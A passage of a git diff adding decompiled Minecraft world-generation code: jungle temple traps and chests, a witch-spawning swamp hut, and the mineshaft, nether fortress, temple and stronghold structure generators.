+      fillWithAir(worldIn, p_74875_3_, 1, -3, 1, 3, -1, 13);
+      fillWithAir(worldIn, p_74875_3_, 1, -3, 1, 9, -1, 5);
+      
+      for (var8 = 1; var8 <= 13; var8 += 2)
+      {
+        fillWithRandomizedBlocks(worldIn, p_74875_3_, 1, -3, var8, 1, -2, var8, false, p_74875_2_, junglePyramidsRandomScatteredStones);
+      }
+      
+      for (var8 = 2; var8 <= 12; var8 += 2)
+      {
+        fillWithRandomizedBlocks(worldIn, p_74875_3_, 1, -1, var8, 3, -1, var8, false, p_74875_2_, junglePyramidsRandomScatteredStones);
+      }
+      
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 2, -2, 1, 5, -2, 1, false, p_74875_2_, junglePyramidsRandomScatteredStones);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 7, -2, 1, 9, -2, 1, false, p_74875_2_, junglePyramidsRandomScatteredStones);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 6, -3, 1, 6, -3, 1, false, p_74875_2_, junglePyramidsRandomScatteredStones);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 6, -1, 1, 6, -1, 1, false, p_74875_2_, junglePyramidsRandomScatteredStones);
+      func_175811_a(worldIn, Blocks.tripwire_hook.getStateFromMeta(getMetadataWithOffset(Blocks.tripwire_hook, EnumFacing.EAST.getHorizontalIndex())).withProperty(BlockTripWireHook.field_176265_M, Boolean.valueOf(true)), 1, -3, 8, p_74875_3_);
+      func_175811_a(worldIn, Blocks.tripwire_hook.getStateFromMeta(getMetadataWithOffset(Blocks.tripwire_hook, EnumFacing.WEST.getHorizontalIndex())).withProperty(BlockTripWireHook.field_176265_M, Boolean.valueOf(true)), 4, -3, 8, p_74875_3_);
+      func_175811_a(worldIn, Blocks.tripwire.getDefaultState().withProperty(BlockTripWire.field_176294_M, Boolean.valueOf(true)), 2, -3, 8, p_74875_3_);
+      func_175811_a(worldIn, Blocks.tripwire.getDefaultState().withProperty(BlockTripWire.field_176294_M, Boolean.valueOf(true)), 3, -3, 8, p_74875_3_);
+      func_175811_a(worldIn, Blocks.redstone_wire.getDefaultState(), 5, -3, 7, p_74875_3_);
+      func_175811_a(worldIn, Blocks.redstone_wire.getDefaultState(), 5, -3, 6, p_74875_3_);
+      func_175811_a(worldIn, Blocks.redstone_wire.getDefaultState(), 5, -3, 5, p_74875_3_);
+      func_175811_a(worldIn, Blocks.redstone_wire.getDefaultState(), 5, -3, 4, p_74875_3_);
+      func_175811_a(worldIn, Blocks.redstone_wire.getDefaultState(), 5, -3, 3, p_74875_3_);
+      func_175811_a(worldIn, Blocks.redstone_wire.getDefaultState(), 5, -3, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.redstone_wire.getDefaultState(), 5, -3, 1, p_74875_3_);
+      func_175811_a(worldIn, Blocks.redstone_wire.getDefaultState(), 4, -3, 1, p_74875_3_);
+      func_175811_a(worldIn, Blocks.mossy_cobblestone.getDefaultState(), 3, -3, 1, p_74875_3_);
+      
+      if (!field_74945_j)
+      {
+        field_74945_j = func_175806_a(worldIn, p_74875_3_, p_74875_2_, 3, -2, 1, EnumFacing.NORTH.getIndex(), field_175815_j, 2);
+      }
+      
+      func_175811_a(worldIn, Blocks.vine.getStateFromMeta(15), 3, -2, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.tripwire_hook.getStateFromMeta(getMetadataWithOffset(Blocks.tripwire_hook, EnumFacing.NORTH.getHorizontalIndex())).withProperty(BlockTripWireHook.field_176265_M, Boolean.valueOf(true)), 7, -3, 1, p_74875_3_);
+      func_175811_a(worldIn, Blocks.tripwire_hook.getStateFromMeta(getMetadataWithOffset(Blocks.tripwire_hook, EnumFacing.SOUTH.getHorizontalIndex())).withProperty(BlockTripWireHook.field_176265_M, Boolean.valueOf(true)), 7, -3, 5, p_74875_3_);
+      func_175811_a(worldIn, Blocks.tripwire.getDefaultState().withProperty(BlockTripWire.field_176294_M, Boolean.valueOf(true)), 7, -3, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.tripwire.getDefaultState().withProperty(BlockTripWire.field_176294_M, Boolean.valueOf(true)), 7, -3, 3, p_74875_3_);
+      func_175811_a(worldIn, Blocks.tripwire.getDefaultState().withProperty(BlockTripWire.field_176294_M, Boolean.valueOf(true)), 7, -3, 4, p_74875_3_);
+      func_175811_a(worldIn, Blocks.redstone_wire.getDefaultState(), 8, -3, 6, p_74875_3_);
+      func_175811_a(worldIn, Blocks.redstone_wire.getDefaultState(), 9, -3, 6, p_74875_3_);
+      func_175811_a(worldIn, Blocks.redstone_wire.getDefaultState(), 9, -3, 5, p_74875_3_);
+      func_175811_a(worldIn, Blocks.mossy_cobblestone.getDefaultState(), 9, -3, 4, p_74875_3_);
+      func_175811_a(worldIn, Blocks.redstone_wire.getDefaultState(), 9, -2, 4, p_74875_3_);
+      
+      if (!field_74946_k)
+      {
+        field_74946_k = func_175806_a(worldIn, p_74875_3_, p_74875_2_, 9, -2, 3, EnumFacing.WEST.getIndex(), field_175815_j, 2);
+      }
+      
+      func_175811_a(worldIn, Blocks.vine.getStateFromMeta(15), 8, -1, 3, p_74875_3_);
+      func_175811_a(worldIn, Blocks.vine.getStateFromMeta(15), 8, -2, 3, p_74875_3_);
+      
+      if (!field_74947_h)
+      {
+        field_74947_h = func_180778_a(worldIn, p_74875_3_, p_74875_2_, 8, -3, 3, WeightedRandomChestContent.func_177629_a(field_175816_i, new WeightedRandomChestContent[] { Items.enchanted_book.getRandomEnchantedBook(p_74875_2_) }), 2 + p_74875_2_.nextInt(5));
+      }
+      
+      func_175811_a(worldIn, Blocks.mossy_cobblestone.getDefaultState(), 9, -3, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.mossy_cobblestone.getDefaultState(), 8, -3, 1, p_74875_3_);
+      func_175811_a(worldIn, Blocks.mossy_cobblestone.getDefaultState(), 4, -3, 5, p_74875_3_);
+      func_175811_a(worldIn, Blocks.mossy_cobblestone.getDefaultState(), 5, -2, 5, p_74875_3_);
+      func_175811_a(worldIn, Blocks.mossy_cobblestone.getDefaultState(), 5, -1, 5, p_74875_3_);
+      func_175811_a(worldIn, Blocks.mossy_cobblestone.getDefaultState(), 6, -3, 5, p_74875_3_);
+      func_175811_a(worldIn, Blocks.mossy_cobblestone.getDefaultState(), 7, -2, 5, p_74875_3_);
+      func_175811_a(worldIn, Blocks.mossy_cobblestone.getDefaultState(), 7, -1, 5, p_74875_3_);
+      func_175811_a(worldIn, Blocks.mossy_cobblestone.getDefaultState(), 8, -3, 5, p_74875_3_);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 9, -1, 1, 9, -1, 5, false, p_74875_2_, junglePyramidsRandomScatteredStones);
+      fillWithAir(worldIn, p_74875_3_, 8, -3, 8, 10, -1, 10);
+      func_175811_a(worldIn, Blocks.stonebrick.getStateFromMeta(net.minecraft.block.BlockStoneBrick.CHISELED_META), 8, -2, 11, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stonebrick.getStateFromMeta(net.minecraft.block.BlockStoneBrick.CHISELED_META), 9, -2, 11, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stonebrick.getStateFromMeta(net.minecraft.block.BlockStoneBrick.CHISELED_META), 10, -2, 11, p_74875_3_);
+      func_175811_a(worldIn, Blocks.lever.getStateFromMeta(BlockLever.func_176357_a(EnumFacing.getFront(getMetadataWithOffset(Blocks.lever, EnumFacing.NORTH.getIndex())))), 8, -2, 12, p_74875_3_);
+      func_175811_a(worldIn, Blocks.lever.getStateFromMeta(BlockLever.func_176357_a(EnumFacing.getFront(getMetadataWithOffset(Blocks.lever, EnumFacing.NORTH.getIndex())))), 9, -2, 12, p_74875_3_);
+      func_175811_a(worldIn, Blocks.lever.getStateFromMeta(BlockLever.func_176357_a(EnumFacing.getFront(getMetadataWithOffset(Blocks.lever, EnumFacing.NORTH.getIndex())))), 10, -2, 12, p_74875_3_);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 8, -3, 8, 8, -3, 10, false, p_74875_2_, junglePyramidsRandomScatteredStones);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 10, -3, 8, 10, -3, 10, false, p_74875_2_, junglePyramidsRandomScatteredStones);
+      func_175811_a(worldIn, Blocks.mossy_cobblestone.getDefaultState(), 10, -2, 9, p_74875_3_);
+      func_175811_a(worldIn, Blocks.redstone_wire.getDefaultState(), 8, -2, 9, p_74875_3_);
+      func_175811_a(worldIn, Blocks.redstone_wire.getDefaultState(), 8, -2, 10, p_74875_3_);
+      func_175811_a(worldIn, Blocks.redstone_wire.getDefaultState(), 10, -1, 9, p_74875_3_);
+      func_175811_a(worldIn, Blocks.sticky_piston.getStateFromMeta(EnumFacing.UP.getIndex()), 9, -2, 8, p_74875_3_);
+      func_175811_a(worldIn, Blocks.sticky_piston.getStateFromMeta(getMetadataWithOffset(Blocks.sticky_piston, EnumFacing.WEST.getIndex())), 10, -2, 8, p_74875_3_);
+      func_175811_a(worldIn, Blocks.sticky_piston.getStateFromMeta(getMetadataWithOffset(Blocks.sticky_piston, EnumFacing.WEST.getIndex())), 10, -1, 8, p_74875_3_);
+      func_175811_a(worldIn, Blocks.unpowered_repeater.getStateFromMeta(getMetadataWithOffset(Blocks.unpowered_repeater, EnumFacing.NORTH.getHorizontalIndex())), 10, -2, 10, p_74875_3_);
+      
+      if (!field_74948_i)
+      {
+        field_74948_i = func_180778_a(worldIn, p_74875_3_, p_74875_2_, 9, -3, 10, WeightedRandomChestContent.func_177629_a(field_175816_i, new WeightedRandomChestContent[] { Items.enchanted_book.getRandomEnchantedBook(p_74875_2_) }), 2 + p_74875_2_.nextInt(5));
+      }
+      
+      return true;
+    }
+    
+    static class Stones
+      extends StructureComponent.BlockSelector
+    {
+      private static final String __OBFID = "CL_00000478";
+      
+      private Stones() {}
+      
+      public void selectBlocks(Random p_75062_1_, int p_75062_2_, int p_75062_3_, int p_75062_4_, boolean p_75062_5_)
+      {
+        if (p_75062_1_.nextFloat() < 0.4F)
+        {
+          field_151562_a = Blocks.cobblestone.getDefaultState();
+        }
+        else
+        {
+          field_151562_a = Blocks.mossy_cobblestone.getDefaultState();
+        }
+      }
+      
+      Stones(ComponentScatteredFeaturePieces.SwitchEnumFacing p_i45583_1_)
+      {
+        this();
+      }
+    }
+  }
+  
+  public static class SwampHut extends ComponentScatteredFeaturePieces.Feature
+  {
+    private boolean hasWitch;
+    private static final String __OBFID = "CL_00000480";
+    
+    public SwampHut() {}
+    
+    public SwampHut(Random p_i2066_1_, int p_i2066_2_, int p_i2066_3_)
+    {
+      super(p_i2066_2_, 64, p_i2066_3_, 7, 5, 9);
+    }
+    
+    protected void writeStructureToNBT(NBTTagCompound p_143012_1_)
+    {
+      super.writeStructureToNBT(p_143012_1_);
+      p_143012_1_.setBoolean("Witch", hasWitch);
+    }
+    
+    protected void readStructureFromNBT(NBTTagCompound p_143011_1_)
+    {
+      super.readStructureFromNBT(p_143011_1_);
+      hasWitch = p_143011_1_.getBoolean("Witch");
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      if (!func_74935_a(worldIn, p_74875_3_, 0))
+      {
+        return false;
+      }
+      
+
+      func_175804_a(worldIn, p_74875_3_, 1, 1, 1, 5, 1, 7, Blocks.planks.getStateFromMeta(BlockPlanks.EnumType.SPRUCE.func_176839_a()), Blocks.planks.getStateFromMeta(BlockPlanks.EnumType.SPRUCE.func_176839_a()), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 4, 2, 5, 4, 7, Blocks.planks.getStateFromMeta(BlockPlanks.EnumType.SPRUCE.func_176839_a()), Blocks.planks.getStateFromMeta(BlockPlanks.EnumType.SPRUCE.func_176839_a()), false);
+      func_175804_a(worldIn, p_74875_3_, 2, 1, 0, 4, 1, 0, Blocks.planks.getStateFromMeta(BlockPlanks.EnumType.SPRUCE.func_176839_a()), Blocks.planks.getStateFromMeta(BlockPlanks.EnumType.SPRUCE.func_176839_a()), false);
+      func_175804_a(worldIn, p_74875_3_, 2, 2, 2, 3, 3, 2, Blocks.planks.getStateFromMeta(BlockPlanks.EnumType.SPRUCE.func_176839_a()), Blocks.planks.getStateFromMeta(BlockPlanks.EnumType.SPRUCE.func_176839_a()), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 2, 3, 1, 3, 6, Blocks.planks.getStateFromMeta(BlockPlanks.EnumType.SPRUCE.func_176839_a()), Blocks.planks.getStateFromMeta(BlockPlanks.EnumType.SPRUCE.func_176839_a()), false);
+      func_175804_a(worldIn, p_74875_3_, 5, 2, 3, 5, 3, 6, Blocks.planks.getStateFromMeta(BlockPlanks.EnumType.SPRUCE.func_176839_a()), Blocks.planks.getStateFromMeta(BlockPlanks.EnumType.SPRUCE.func_176839_a()), false);
+      func_175804_a(worldIn, p_74875_3_, 2, 2, 7, 4, 3, 7, Blocks.planks.getStateFromMeta(BlockPlanks.EnumType.SPRUCE.func_176839_a()), Blocks.planks.getStateFromMeta(BlockPlanks.EnumType.SPRUCE.func_176839_a()), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 0, 2, 1, 3, 2, Blocks.log.getDefaultState(), Blocks.log.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 5, 0, 2, 5, 3, 2, Blocks.log.getDefaultState(), Blocks.log.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 0, 7, 1, 3, 7, Blocks.log.getDefaultState(), Blocks.log.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 5, 0, 7, 5, 3, 7, Blocks.log.getDefaultState(), Blocks.log.getDefaultState(), false);
+      func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), 2, 3, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), 3, 3, 7, p_74875_3_);
+      func_175811_a(worldIn, Blocks.air.getDefaultState(), 1, 3, 4, p_74875_3_);
+      func_175811_a(worldIn, Blocks.air.getDefaultState(), 5, 3, 4, p_74875_3_);
+      func_175811_a(worldIn, Blocks.air.getDefaultState(), 5, 3, 5, p_74875_3_);
+      func_175811_a(worldIn, Blocks.flower_pot.getDefaultState().withProperty(net.minecraft.block.BlockFlowerPot.field_176443_b, net.minecraft.block.BlockFlowerPot.EnumFlowerType.MUSHROOM_RED), 1, 3, 5, p_74875_3_);
+      func_175811_a(worldIn, Blocks.crafting_table.getDefaultState(), 3, 2, 6, p_74875_3_);
+      func_175811_a(worldIn, Blocks.cauldron.getDefaultState(), 4, 2, 6, p_74875_3_);
+      func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), 1, 2, 1, p_74875_3_);
+      func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), 5, 2, 1, p_74875_3_);
+      int var4 = getMetadataWithOffset(Blocks.oak_stairs, 3);
+      int var5 = getMetadataWithOffset(Blocks.oak_stairs, 1);
+      int var6 = getMetadataWithOffset(Blocks.oak_stairs, 0);
+      int var7 = getMetadataWithOffset(Blocks.oak_stairs, 2);
+      func_175804_a(worldIn, p_74875_3_, 0, 4, 1, 6, 4, 1, Blocks.spruce_stairs.getStateFromMeta(var4), Blocks.spruce_stairs.getStateFromMeta(var4), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 4, 2, 0, 4, 7, Blocks.spruce_stairs.getStateFromMeta(var6), Blocks.spruce_stairs.getStateFromMeta(var6), false);
+      func_175804_a(worldIn, p_74875_3_, 6, 4, 2, 6, 4, 7, Blocks.spruce_stairs.getStateFromMeta(var5), Blocks.spruce_stairs.getStateFromMeta(var5), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 4, 8, 6, 4, 8, Blocks.spruce_stairs.getStateFromMeta(var7), Blocks.spruce_stairs.getStateFromMeta(var7), false);
+      
+
+
+      for (int var8 = 2; var8 <= 7; var8 += 5)
+      {
+        for (int var9 = 1; var9 <= 5; var9 += 4)
+        {
+          func_175808_b(worldIn, Blocks.log.getDefaultState(), var9, -1, var8, p_74875_3_);
+        }
+      }
+      
+      if (!hasWitch)
+      {
+        var8 = getXWithOffset(2, 5);
+        int var9 = getYWithOffset(2);
+        int var10 = getZWithOffset(2, 5);
+        
+        if (p_74875_3_.func_175898_b(new BlockPos(var8, var9, var10)))
+        {
+          hasWitch = true;
+          EntityWitch var11 = new EntityWitch(worldIn);
+          var11.setLocationAndAngles(var8 + 0.5D, var9, var10 + 0.5D, 0.0F, 0.0F);
+          var11.func_180482_a(worldIn.getDifficultyForLocation(new BlockPos(var8, var9, var10)), null);
+          worldIn.spawnEntityInWorld(var11);
+        }
+      }
+      
+      return true;
+    }
+  }
+  
+
+  static final class SwitchEnumFacing
+  {
+    static final int[] field_175956_a = new int[EnumFacing.values().length];
+    private static final String __OBFID = "CL_00001971";
+    
+    static
+    {
+      try
+      {
+        field_175956_a[EnumFacing.NORTH.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_175956_a[EnumFacing.SOUTH.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+    }
+    
+    SwitchEnumFacing() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/structure/MapGenMineshaft.java b/src/minecraft/net/minecraft/world/gen/structure/MapGenMineshaft.java
new file mode 100644
index 0000000..a913546
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/structure/MapGenMineshaft.java
@@ -0,0 +1,44 @@
+package net.minecraft.world.gen.structure;
+
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Random;
+
+public class MapGenMineshaft extends MapGenStructure
+{
+  private double field_82673_e = 0.004D;
+  private static final String __OBFID = "CL_00000443";
+  
+  public MapGenMineshaft() {}
+  
+  public String getStructureName()
+  {
+    return "Mineshaft";
+  }
+  
+  public MapGenMineshaft(Map p_i2034_1_)
+  {
+    Iterator var2 = p_i2034_1_.entrySet().iterator();
+    
+    while (var2.hasNext())
+    {
+      Map.Entry var3 = (Map.Entry)var2.next();
+      
+      if (((String)var3.getKey()).equals("chance"))
+      {
+        field_82673_e = net.minecraft.util.MathHelper.parseDoubleWithDefault((String)var3.getValue(), field_82673_e);
+      }
+    }
+  }
+  
+  protected boolean canSpawnStructureAtCoords(int p_75047_1_, int p_75047_2_)
+  {
+    return (rand.nextDouble() < field_82673_e) && (rand.nextInt(80) < Math.max(Math.abs(p_75047_1_), Math.abs(p_75047_2_)));
+  }
+  
+  protected StructureStart getStructureStart(int p_75049_1_, int p_75049_2_)
+  {
+    return new StructureMineshaftStart(worldObj, rand, p_75049_1_, p_75049_2_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/structure/MapGenNetherBridge.java b/src/minecraft/net/minecraft/world/gen/structure/MapGenNetherBridge.java
new file mode 100644
index 0000000..b6b0dcb
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/structure/MapGenNetherBridge.java
@@ -0,0 +1,75 @@
+package net.minecraft.world.gen.structure;
+
+import com.google.common.collect.Lists;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Random;
+import net.minecraft.entity.monster.EntityMagmaCube;
+import net.minecraft.entity.monster.EntityPigZombie;
+import net.minecraft.entity.monster.EntitySkeleton;
+import net.minecraft.world.World;
+import net.minecraft.world.biome.BiomeGenBase.SpawnListEntry;
+
+public class MapGenNetherBridge extends MapGenStructure
+{
+  private List spawnList = Lists.newArrayList();
+  private static final String __OBFID = "CL_00000451";
+  
+  public MapGenNetherBridge()
+  {
+    spawnList.add(new BiomeGenBase.SpawnListEntry(net.minecraft.entity.monster.EntityBlaze.class, 10, 2, 3));
+    spawnList.add(new BiomeGenBase.SpawnListEntry(EntityPigZombie.class, 5, 4, 4));
+    spawnList.add(new BiomeGenBase.SpawnListEntry(EntitySkeleton.class, 10, 4, 4));
+    spawnList.add(new BiomeGenBase.SpawnListEntry(EntityMagmaCube.class, 3, 4, 4));
+  }
+  
+  public String getStructureName()
+  {
+    return "Fortress";
+  }
+  
+  public List getSpawnList()
+  {
+    return spawnList;
+  }
+  
+  protected boolean canSpawnStructureAtCoords(int p_75047_1_, int p_75047_2_)
+  {
+    int var3 = p_75047_1_ >> 4;
+    int var4 = p_75047_2_ >> 4;
+    rand.setSeed(var3 ^ var4 << 4 ^ worldObj.getSeed());
+    rand.nextInt();
+    return rand.nextInt(3) == 0;
+  }
+  
+  protected StructureStart getStructureStart(int p_75049_1_, int p_75049_2_)
+  {
+    return new Start(worldObj, rand, p_75049_1_, p_75049_2_);
+  }
+  
+  public static class Start extends StructureStart
+  {
+    private static final String __OBFID = "CL_00000452";
+    
+    public Start() {}
+    
+    public Start(World worldIn, Random p_i2040_2_, int p_i2040_3_, int p_i2040_4_)
+    {
+      super(p_i2040_4_);
+      StructureNetherBridgePieces.Start var5 = new StructureNetherBridgePieces.Start(p_i2040_2_, (p_i2040_3_ << 4) + 2, (p_i2040_4_ << 4) + 2);
+      components.add(var5);
+      var5.buildComponent(var5, components, p_i2040_2_);
+      List var6 = field_74967_d;
+      
+      while (!var6.isEmpty())
+      {
+        int var7 = p_i2040_2_.nextInt(var6.size());
+        StructureComponent var8 = (StructureComponent)var6.remove(var7);
+        var8.buildComponent(var5, components, p_i2040_2_);
+      }
+      
+      updateBoundingBox();
+      setRandomHeight(worldIn, p_i2040_2_, 48, 70);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/structure/MapGenScatteredFeature.java b/src/minecraft/net/minecraft/world/gen/structure/MapGenScatteredFeature.java
new file mode 100644
index 0000000..05b2030
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/structure/MapGenScatteredFeature.java
@@ -0,0 +1,168 @@
+package net.minecraft.world.gen.structure;
+
+import java.util.Iterator;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Random;
+import java.util.Set;
+import net.minecraft.entity.monster.EntityWitch;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+import net.minecraft.world.biome.BiomeGenBase;
+
+public class MapGenScatteredFeature extends MapGenStructure
+{
+  private static final List biomelist = java.util.Arrays.asList(new BiomeGenBase[] { BiomeGenBase.desert, BiomeGenBase.desertHills, BiomeGenBase.jungle, BiomeGenBase.jungleHills, BiomeGenBase.swampland });
+  
+
+  private List scatteredFeatureSpawnList;
+  
+  private int maxDistanceBetweenScatteredFeatures;
+  
+  private int minDistanceBetweenScatteredFeatures;
+  
+  private static final String __OBFID = "CL_00000471";
+  
+
+  public MapGenScatteredFeature()
+  {
+    scatteredFeatureSpawnList = com.google.common.collect.Lists.newArrayList();
+    maxDistanceBetweenScatteredFeatures = 32;
+    minDistanceBetweenScatteredFeatures = 8;
+    scatteredFeatureSpawnList.add(new net.minecraft.world.biome.BiomeGenBase.SpawnListEntry(EntityWitch.class, 1, 1, 1));
+  }
+  
+  public MapGenScatteredFeature(Map p_i2061_1_)
+  {
+    this();
+    Iterator var2 = p_i2061_1_.entrySet().iterator();
+    
+    while (var2.hasNext())
+    {
+      Map.Entry var3 = (Map.Entry)var2.next();
+      
+      if (((String)var3.getKey()).equals("distance"))
+      {
+        maxDistanceBetweenScatteredFeatures = MathHelper.parseIntWithDefaultAndMax((String)var3.getValue(), maxDistanceBetweenScatteredFeatures, minDistanceBetweenScatteredFeatures + 1);
+      }
+    }
+  }
+  
+  public String getStructureName()
+  {
+    return "Temple";
+  }
+  
+  protected boolean canSpawnStructureAtCoords(int p_75047_1_, int p_75047_2_)
+  {
+    int var3 = p_75047_1_;
+    int var4 = p_75047_2_;
+    
+    if (p_75047_1_ < 0)
+    {
+      p_75047_1_ -= maxDistanceBetweenScatteredFeatures - 1;
+    }
+    
+    if (p_75047_2_ < 0)
+    {
+      p_75047_2_ -= maxDistanceBetweenScatteredFeatures - 1;
+    }
+    
+    int var5 = p_75047_1_ / maxDistanceBetweenScatteredFeatures;
+    int var6 = p_75047_2_ / maxDistanceBetweenScatteredFeatures;
+    Random var7 = worldObj.setRandomSeed(var5, var6, 14357617);
+    var5 *= maxDistanceBetweenScatteredFeatures;
+    var6 *= maxDistanceBetweenScatteredFeatures;
+    var5 += var7.nextInt(maxDistanceBetweenScatteredFeatures - minDistanceBetweenScatteredFeatures);
+    var6 += var7.nextInt(maxDistanceBetweenScatteredFeatures - minDistanceBetweenScatteredFeatures);
+    
+    if ((var3 == var5) && (var4 == var6))
+    {
+      BiomeGenBase var8 = worldObj.getWorldChunkManager().func_180631_a(new BlockPos(var3 * 16 + 8, 0, var4 * 16 + 8));
+      
+      if (var8 == null)
+      {
+        return false;
+      }
+      
+      Iterator var9 = biomelist.iterator();
+      
+      while (var9.hasNext())
+      {
+        BiomeGenBase var10 = (BiomeGenBase)var9.next();
+        
+        if (var8 == var10)
+        {
+          return true;
+        }
+      }
+    }
+    
+    return false;
+  }
+  
+  protected StructureStart getStructureStart(int p_75049_1_, int p_75049_2_)
+  {
+    return new Start(worldObj, rand, p_75049_1_, p_75049_2_);
+  }
+  
+  public boolean func_175798_a(BlockPos p_175798_1_)
+  {
+    StructureStart var2 = func_175797_c(p_175798_1_);
+    
+    if ((var2 != null) && ((var2 instanceof Start)) && (!components.isEmpty()))
+    {
+      StructureComponent var3 = (StructureComponent)components.getFirst();
+      return var3 instanceof ComponentScatteredFeaturePieces.SwampHut;
+    }
+    
+
+    return false;
+  }
+  
+
+
+
+
+  public List getScatteredFeatureSpawnList()
+  {
+    return scatteredFeatureSpawnList;
+  }
+  
+  public static class Start extends StructureStart
+  {
+    private static final String __OBFID = "CL_00000472";
+    
+    public Start() {}
+    
+    public Start(World worldIn, Random p_i2060_2_, int p_i2060_3_, int p_i2060_4_)
+    {
+      super(p_i2060_4_);
+      BiomeGenBase var5 = worldIn.getBiomeGenForCoords(new BlockPos(p_i2060_3_ * 16 + 8, 0, p_i2060_4_ * 16 + 8));
+      
+      if ((var5 != BiomeGenBase.jungle) && (var5 != BiomeGenBase.jungleHills))
+      {
+        if (var5 == BiomeGenBase.swampland)
+        {
+          ComponentScatteredFeaturePieces.SwampHut var7 = new ComponentScatteredFeaturePieces.SwampHut(p_i2060_2_, p_i2060_3_ * 16, p_i2060_4_ * 16);
+          components.add(var7);
+        }
+        else if ((var5 == BiomeGenBase.desert) || (var5 == BiomeGenBase.desertHills))
+        {
+          ComponentScatteredFeaturePieces.DesertPyramid var8 = new ComponentScatteredFeaturePieces.DesertPyramid(p_i2060_2_, p_i2060_3_ * 16, p_i2060_4_ * 16);
+          components.add(var8);
+        }
+      }
+      else
+      {
+        ComponentScatteredFeaturePieces.JunglePyramid var6 = new ComponentScatteredFeaturePieces.JunglePyramid(p_i2060_2_, p_i2060_3_ * 16, p_i2060_4_ * 16);
+        components.add(var6);
+      }
+      
+      updateBoundingBox();
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/structure/MapGenStronghold.java b/src/minecraft/net/minecraft/world/gen/structure/MapGenStronghold.java
new file mode 100644
index 0000000..af7f3c6
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/structure/MapGenStronghold.java
@@ -0,0 +1,190 @@
+package net.minecraft.world.gen.structure;
+
+import com.google.common.collect.Lists;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Random;
+import java.util.Set;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.ChunkCoordIntPair;
+import net.minecraft.world.World;
+import net.minecraft.world.biome.BiomeGenBase;
+import net.minecraft.world.biome.WorldChunkManager;
+
+public class MapGenStronghold
+  extends MapGenStructure
+{
+  private List field_151546_e;
+  private boolean ranBiomeCheck;
+  private ChunkCoordIntPair[] structureCoords;
+  private double field_82671_h;
+  private int field_82672_i;
+  private static final String __OBFID = "CL_00000481";
+  
+  public MapGenStronghold()
+  {
+    structureCoords = new ChunkCoordIntPair[3];
+    field_82671_h = 32.0D;
+    field_82672_i = 3;
+    field_151546_e = Lists.newArrayList();
+    BiomeGenBase[] var1 = BiomeGenBase.getBiomeGenArray();
+    int var2 = var1.length;
+    
+    for (int var3 = 0; var3 < var2; var3++)
+    {
+      BiomeGenBase var4 = var1[var3];
+      
+      if ((var4 != null) && (minHeight > 0.0F))
+      {
+        field_151546_e.add(var4);
+      }
+    }
+  }
+  
+  public MapGenStronghold(Map p_i2068_1_)
+  {
+    this();
+    Iterator var2 = p_i2068_1_.entrySet().iterator();
+    
+    while (var2.hasNext())
+    {
+      Map.Entry var3 = (Map.Entry)var2.next();
+      
+      if (((String)var3.getKey()).equals("distance"))
+      {
+        field_82671_h = MathHelper.parseDoubleWithDefaultAndMax((String)var3.getValue(), field_82671_h, 1.0D);
+      }
+      else if (((String)var3.getKey()).equals("count"))
+      {
+        structureCoords = new ChunkCoordIntPair[MathHelper.parseIntWithDefaultAndMax((String)var3.getValue(), structureCoords.length, 1)];
+      }
+      else if (((String)var3.getKey()).equals("spread"))
+      {
+        field_82672_i = MathHelper.parseIntWithDefaultAndMax((String)var3.getValue(), field_82672_i, 1);
+      }
+    }
+  }
+  
+  public String getStructureName()
+  {
+    return "Stronghold";
+  }
+  
+  protected boolean canSpawnStructureAtCoords(int p_75047_1_, int p_75047_2_)
+  {
+    if (!ranBiomeCheck)
+    {
+      Random var3 = new Random();
+      var3.setSeed(worldObj.getSeed());
+      double var4 = var3.nextDouble() * 3.141592653589793D * 2.0D;
+      int var6 = 1;
+      
+      for (int var7 = 0; var7 < structureCoords.length; var7++)
+      {
+        double var8 = (1.25D * var6 + var3.nextDouble()) * field_82671_h * var6;
